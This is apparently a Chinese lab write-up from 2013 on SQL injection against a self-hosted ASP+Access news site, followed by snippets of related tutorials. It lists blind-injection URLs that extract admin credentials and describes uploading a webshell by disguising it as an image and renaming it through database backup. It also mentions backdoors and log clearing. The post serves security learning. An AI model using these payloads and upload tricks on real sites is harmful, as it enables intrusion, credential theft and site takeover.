实验十一:sql注入之asp+access案例

仅供学习参考,2013.5.8日学习整理记录

潜江水产案例
(sql注入之asp+access)
实验目的通过注入漏洞上传config.asp
实验过程如下所示:
实验前提:在服务器上要搭建好IIS
开始实验
把已经编好的web通过共享的方式上传到服务器上,然后解压这个潜江水产的数据包
文件,然后把这个数据包导入到c:\inetpub\wwwroot下面,接着通过命令行inetmgr打开
搭建好的默认网站,然后在默认网站中的主目录下面指定潜江水产的路径,然后在配置中的设置中启用父路径,在指引中添加index.asp,然后在网络扩展中把asp给启动
网站服务器一切准备好后,在客户端来访问一下潜江水产的服务器
现在我们就要利用编程的简单的查询来推断网站是否存在注入漏洞
访问网站后,在地址栏输入:http:\192.168.2.4,然后在网页中找到一个武汉水产专家,
当出现地址为:http://192.168.2.4/shownews.asp?id=41时,这就是典型的注入漏洞
我们可以用下面可以到shownews.asp中查看一下看有没有“武汉水产专家”,发现找不到,说明这个新闻页面时保存在数据库里面的
现在我们到数据库中查询一下“select”
下面是搭建好潜江水产的web页面

http://192.168.2.4/shownews.asp?id=41查询正常

我们可以用三种方法来确定它存在注入漏洞
1.http://192.168.2.4/shownews.asp?id=41’查询不正常

2.http://192.168.2.4/shownews.asp? id=41 and 1=1查询正常

3.http://192.168.2.4/shownews.asp? id=41 and 1=2查询不正常

4.http://192.168.2.4/shownews.asp?id=41 and select username,password from user查询报错

5.http://192.168.2.4/shownews.asp?id=41 and 0<>(select count(*) from admin)正常访问


6.http://192.168.2.4/shownews.asp?id=41 and 0<>(select count(*) from admin1)不正常访问

7.http://192.168.2.4/shownews.asp?id=41 and 0<>(select count(user) from admin)查询正常

8.http://192.168.2.4/shownews.asp?id=41 and 0<>(select count(password) from admin)

9.http://192.168.2.4/shownews.asp?id=41 and (select top 1 len (user)from admin)>0 正常

10.http://192.168.2.4/shownews.asp?id=41 and (select top 1 len (user)from admin)>1正常

11.http://192.168.2.4/shownews.asp?id=41 and (select top 1 len (user)from admin)>2 正常,知道出现报错就是那个数,这样一个一个的尝试,直到出现报错时为止。那么密码的长度就为那个报错的位数,接下来就是猜密码了

12.http://192.168.1.10/shownews.asp?id=41 and (select top 1 asc(mid(user,1,1))from admin)>0出现错误


13.http://192.168.1.10/shownews.asp?id=41 and (select top 1 asc( mid(username,1,1))from admin)>0正常

14.http://192.168.1.10/shownews.asp?id=41 and (select top 1 len(username)from admin )>1

15.http://192.168.1.10/shownews.asp?id=41 and (select top 1 len(username)from admin )>2 刚刚前面出现了问题,现在又要重新的再来猜一遍,直到猜出报错时为止,那么密码的长度就为出现报错的那个数

16.http://192.168.1.10/shownews.asp?id=41 and (select top 1 asc(mid(username,1,1))from admin)>0 现在来猜管理员的帐号


下面是用小葵来一步一步的破解密码的过程

17.http://192.168.2.4/shownews.asp?id=41 and (select top 1 len (password)from admin) >0 现在猜密码的长度

18.http://192.168.1.10/shownews.asp?id=41 and (select top 1 asc(mid(password,1,1))from admin)>0 现在就猜密码为多少

下面是用小葵来一步一步的破解密码

现在管理员的帐号已经查出来了,管理员的密码也猜出来了
接下来就要开始注入了
在潜江水产网的下面找到“网站管理”,然后输入管理员的帐号和密码就可以直接访问后台
然后找到新闻的编辑页面,在这里面找到插入图片,你就可以利用这个漏洞来上传图片,也就把config.asp这个文件传上去了,但是这里文件只有jpg,gpf,那么你就要
回到客户端,把config.asp的后缀名改为gpf或jpg内型的,
然后找到这个文件存放的地方,在客户端的地址栏中输入这个地址,发现不能够访问
然后在系统管理中找到上传文件,然后找到数据库备份,然后把文件备份一下,并找到备份的路径
然后把图片的路径保存在当前的数据库下,然后把保存的数据库的名称的后缀名更改一下,
然后复制这个地址,然后在地址栏中输入这个confi.asp文件的路径


在这里需要把里面的内容填写一下,然后再上传,然后找到上传后的路径地址

下面就可以一步一步的通过config.asp来上传文件,然后提权,然后远程登录,然后做后门,然后清除日志等一系列的操作,在这里我就不演示了

总结:仅供学习参考,资料来源于2013.5.8日学习整理,请勿做违法犯禁事情,违者自咎,我只是提供一个学习平台,仅供学习参考,希望大家把这个拿来作为公司的安全防护做漏洞测试,请勿用来作侵害他人财产或者经济损失及个人隐私安全泄露的事情,违者当事人自负,注意,此仅仅是供学习参考借鉴使用,请勿做违法事情

原文地址:http://blog.51cto.com/vbers/2119655

时间: 2024-11-09 03:41:32

实验十一:sql注入之asp+access案例的相关文章

SEED实验系列:Collabtive系统SQL注入实验

本课程原文链接为:https://www.shiyanlou.com/courses/291.实验楼已经为此课程的实践提供了在线实验环境,想要尝试体验的,可以直接前往实验楼进行实践操作. 你能够喜欢我们的课程,让我们感到异常高兴,我们也非常欢迎你将本课程分享给更多的人,我们唯一的要求就是请保留我们的课程原文链接. 一.实验描述 SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口.通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意

SQL注入专题--整理帖

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉.        随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获

SqL注入攻击实践

研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 缓冲区溢出原理 缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量.溢出的数据覆盖在合法数据上.理想情况是,程序检查数据长度并且不允许输入超过缓冲区长度的字符串.但是绝大多数程序都会假设数据长度总是与所分配的存储空间相匹配,这就为缓冲区溢出埋下隐患. 原理 针对mysql数据库 check_connection (sql_parse.cc): / Old clients send null-terminated str

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

【ASP.NET】——SQL注入

关于SQL注入,师父给验收项目的时候就提过.但一直也没深入去想是怎么回事~~在学ASP.NET,做新闻发布系统的时候,又遇到了,这次不能放过了~~ 定义 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.[1]

Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali-linux-web-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E8%A7%86%E9%A2%91%E6%95%99%E7%A8%8B%E7%AC%AC%E5%8D%81%E4%B8%80%E8%AF%BE-%E6%89%AB%E6%8F%8Fsql%E6%B3%A8%

实验二、XSS和SQL注入

一.  实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏洞的基本方法:掌握网站配置.   二.  系统环境:Kali Linux2.Windows 三.  网络环境:交换网络结构 四.  实验工具:AWVS(Acunetix Web Vulnarability Scanner);SqlMAP:Dvwa:PHPStudy 五.  实验步骤: 1.XSS部分:利用Bee

asp.net利用HttpModule实现防sql注入和加载样式和JS文件

1.新建一个类,实现IHttpModule接口 代码如下: public class SqlHttpModule : IHttpModule { public void Dispose() { } public void Init(HttpApplication context) { context.AcquireRequestState += new EventHandler(context_AcquireRequestState); } } 在实现接口的Init方法时,我们选择了Acquir

网络安全系列之四 手工SQL注入(ASP)

SQL注入是黑客对数据库进行攻击的常用手段之一,其核心思想在于:黑客在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据.下面我们就对之前已经搭建好的渗透平台进行SQL注入,最终目的是获得网站的管理员账号和密码.目标服务器IP地址:192.168.80.129,黑客主机IP地址:192.168.80.128. (1)寻找注入点 随便打开一个网页,注意观察URL. 注入点必定是类似"http://192.168.80.129/shownews.a